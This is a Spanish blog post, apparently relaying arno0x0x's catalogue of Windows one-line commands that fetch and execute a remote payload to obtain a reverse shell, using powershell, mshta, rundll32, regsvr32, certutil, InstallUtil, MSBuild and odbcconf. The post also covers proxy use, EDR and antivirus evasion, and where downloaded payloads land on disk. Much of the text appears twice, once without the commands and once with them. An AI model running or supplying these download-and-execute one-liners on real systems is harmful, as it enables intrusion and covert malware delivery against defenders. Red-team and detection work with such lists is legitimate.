Si hay algo interesante para un pentester (o un atacante malintencionado) es un comando de una sola línea capaz de comprometer una máquina obteniendo una shell inversa...
El francés Arno (arno0x0x) recopila en su blog una interesante lista de posibilidades que han de cumplir los siguientes requisitos:
- permitir la ejecución de código arbitrario
- permitir descargar un payload de un servidor remoto, porque el malware/RAT/agente probablemente no cabrá en una sola línea de comandos
- tener conocimiento del proxy: ¿qué compañía no usa un proxy web para el tráfico saliente hoy en día?
- hacer uso de los binarios estándar y ampliamente implementados de Microsoft, para que el comando se ejecute en la mayor cantidad de sistemas posible
- ser "amigable" con EDR (Endpoint Detection and Response): el spawning de cmd.exe en Office ya es mala señal, pero ¿qué pasa con powershell.exe o cscript.exe descargando cosas de Internet?
- trabajar solo en memoria, porque el payload final podría quedar "atrapado" por el AV cuando se escriba en el disco
Pero siendo claros, no todas los comandos cumplirán todos los puntos anteriores. Especialmente el de no escribir el payload en el disco, porque la mayoría de las veces el archivo descargado terminará en el caché local.
Cuando se trata de descargar un payload desde un servidor remoto, básicamente tenemos 3 opciones:
- el comando acepta una URL HTTP como uno de sus argumentos
- el comando acepta una ruta UNC (apuntando a un servidor WebDAV)
- el comando puede ejecutar un pequeño script con un link de descarga
Dependiendo de la versión de Windows (7, 10), la caché local para los objetos descargados a través de HTTP será la caché local de IE, en una de las siguientes ubicaciones:
Por otro lado, los archivos a los que se accede a través de una ruta UNC que apunta a un servidor WebDAV se guardarán en el caché local del cliente WebDAV
Nota: cuando se utilice una ruta UNC para apuntar al servidor WebDAV que aloja el payload hay que tener en cuenta que solo funcionará si se inicia el servicio WebClient. En caso de que no se haya iniciado, para iniciarlo, incluso desde un usuario sin privilegios, simplemente hay que poner antes "pushd \\webdavserver & popd".
A continuación se detallan todos los escenarios posibles, ordenados el proceso que genera el tráfico de red y dónde se escribe el payload:
Proceso: powershell.exe
Payload escrito en disco: NO (al menos no puede verse con procmon).
Proceso: shta.exe
Payload escrito en disco: caché local de IE
Proceso: rundll32.exe
Payload escrito en disco: caché local de IE
Proceso: regsvr32.exe
Payload escrito en disco: caché local de IE
Proceso: svchost.exe
Payload escrito en disco: caché local del cliente WebDAV
Combinando comandos
Evidentemente, los comandos se pueden encadenar para alcanzar un objetivo. Por ejemplo, toda la parte de descarga del payload se puede hacer con certutil.exe (descubierto por @subTee):
A continuación, combinando algunos comandos inline, con InstallUtil.exe ejecutando una DLL específica como payload:
O simplemente se puede entregar un ejecutable:
Probablemente haya muchas otras maneras de lograr el mismo resultado, pero esos comandos hacen el trabajo mientras cumplen la mayoría de los requisitos previos que se establecieron al principio.
Uno puede preguntarse por qué no se mencionó el uso de la utilidad bitsadmin como medio para descargar el payload. La razón es simplemente porque no se puede usar proxy.
Ejemplos de fuentes de payloads
Todas las líneas de comando previamente citadas hacen uso de payloads específicos:
- Varios scriplets (.sct), para mshta, rundll32 o regsvr32
- Aplicación HTML (.hta)
- Tareas inline de MSBuild (.xml o .csproj)
- DLL para InstallUtil o Regasm/Regsvc
Puedes obtener ejemplos de la mayoría de los payloads dentro del impresionante repositorio atomic-red-team en Github: https://github.com/redcanaryco/atomic-red-team de @redcanaryco.
También puedes obtener todas estos payloads generados automáticamente gracias al proyecto GreatSCT en Github: https://github.com/GreatSCT/GreatSCT
Por último, puedes encontrar algunos otros ejemplos en gist del propio Arno: https://gist.github.com/Arno0x
El francés Arno (arno0x0x) recopila en su blog una interesante lista de posibilidades que han de cumplir los siguientes requisitos:
- permitir la ejecución de código arbitrario
- permitir descargar un payload de un servidor remoto, porque el malware/RAT/agente probablemente no cabrá en una sola línea de comandos
- tener conocimiento del proxy: ¿qué compañía no usa un proxy web para el tráfico saliente hoy en día?
- hacer uso de los binarios estándar y ampliamente implementados de Microsoft, para que el comando se ejecute en la mayor cantidad de sistemas posible
- ser "amigable" con EDR (Endpoint Detection and Response): el spawning de cmd.exe en Office ya es mala señal, pero ¿qué pasa con powershell.exe o cscript.exe descargando cosas de Internet?
- trabajar solo en memoria, porque el payload final podría quedar "atrapado" por el AV cuando se escriba en el disco
Pero siendo claros, no todas los comandos cumplirán todos los puntos anteriores. Especialmente el de no escribir el payload en el disco, porque la mayoría de las veces el archivo descargado terminará en el caché local.
Cuando se trata de descargar un payload desde un servidor remoto, básicamente tenemos 3 opciones:
- el comando acepta una URL HTTP como uno de sus argumentos
- el comando acepta una ruta UNC (apuntando a un servidor WebDAV)
- el comando puede ejecutar un pequeño script con un link de descarga
Dependiendo de la versión de Windows (7, 10), la caché local para los objetos descargados a través de HTTP será la caché local de IE, en una de las siguientes ubicaciones:
C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>
Por otro lado, los archivos a los que se accede a través de una ruta UNC que apunta a un servidor WebDAV se guardarán en el caché local del cliente WebDAV
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
Nota: cuando se utilice una ruta UNC para apuntar al servidor WebDAV que aloja el payload hay que tener en cuenta que solo funcionará si se inicia el servicio WebClient. En caso de que no se haya iniciado, para iniciarlo, incluso desde un usuario sin privilegios, simplemente hay que poner antes "pushd \\webdavserver & popd".
A continuación se detallan todos los escenarios posibles, ordenados el proceso que genera el tráfico de red y dónde se escribe el payload:
Proceso: powershell.exe
Payload escrito en disco: NO (al menos no puede verse con procmon).
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
Proceso: shta.exe
Payload escrito en disco: caché local de IE
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
mshta http://webserver/payload.hta
Proceso: rundll32.exe
Payload escrito en disco: caché local de IE
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
Proceso: regsvr32.exe
Payload escrito en disco: caché local de IE
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
Proceso: svchost.exe
Payload escrito en disco: caché local del cliente WebDAV
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
cmd.exe /k < \\webdavserver\folder\batchfile.txt (ver Invoke-EmbedInBatch.ps1 en https://github.com/Arno0x/PowerShellScripts)
cscript //E:jscript \\webdavserver\folder\payload.txt
mshta \\webdavserver\folder\payload.hta
rundll32 \\webdavserver\folder\payload.dll,entrypoint
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
Combinando comandos
Evidentemente, los comandos se pueden encadenar para alcanzar un objetivo. Por ejemplo, toda la parte de descarga del payload se puede hacer con certutil.exe (descubierto por @subTee):
certutil -urlcache -split -f http://webserver/payload payload
A continuación, combinando algunos comandos inline, con InstallUtil.exe ejecutando una DLL específica como payload:
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
O simplemente se puede entregar un ejecutable:
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
Probablemente haya muchas otras maneras de lograr el mismo resultado, pero esos comandos hacen el trabajo mientras cumplen la mayoría de los requisitos previos que se establecieron al principio.
Uno puede preguntarse por qué no se mencionó el uso de la utilidad bitsadmin como medio para descargar el payload. La razón es simplemente porque no se puede usar proxy.
Ejemplos de fuentes de payloads
Todas las líneas de comando previamente citadas hacen uso de payloads específicos:
- Varios scriplets (.sct), para mshta, rundll32 o regsvr32
- Aplicación HTML (.hta)
- Tareas inline de MSBuild (.xml o .csproj)
- DLL para InstallUtil o Regasm/Regsvc
Puedes obtener ejemplos de la mayoría de los payloads dentro del impresionante repositorio atomic-red-team en Github: https://github.com/redcanaryco/atomic-red-team de @redcanaryco.
También puedes obtener todas estos payloads generados automáticamente gracias al proyecto GreatSCT en Github: https://github.com/GreatSCT/GreatSCT
Por último, puedes encontrar algunos otros ejemplos en gist del propio Arno: https://gist.github.com/Arno0x
Comentarios
Publicar un comentario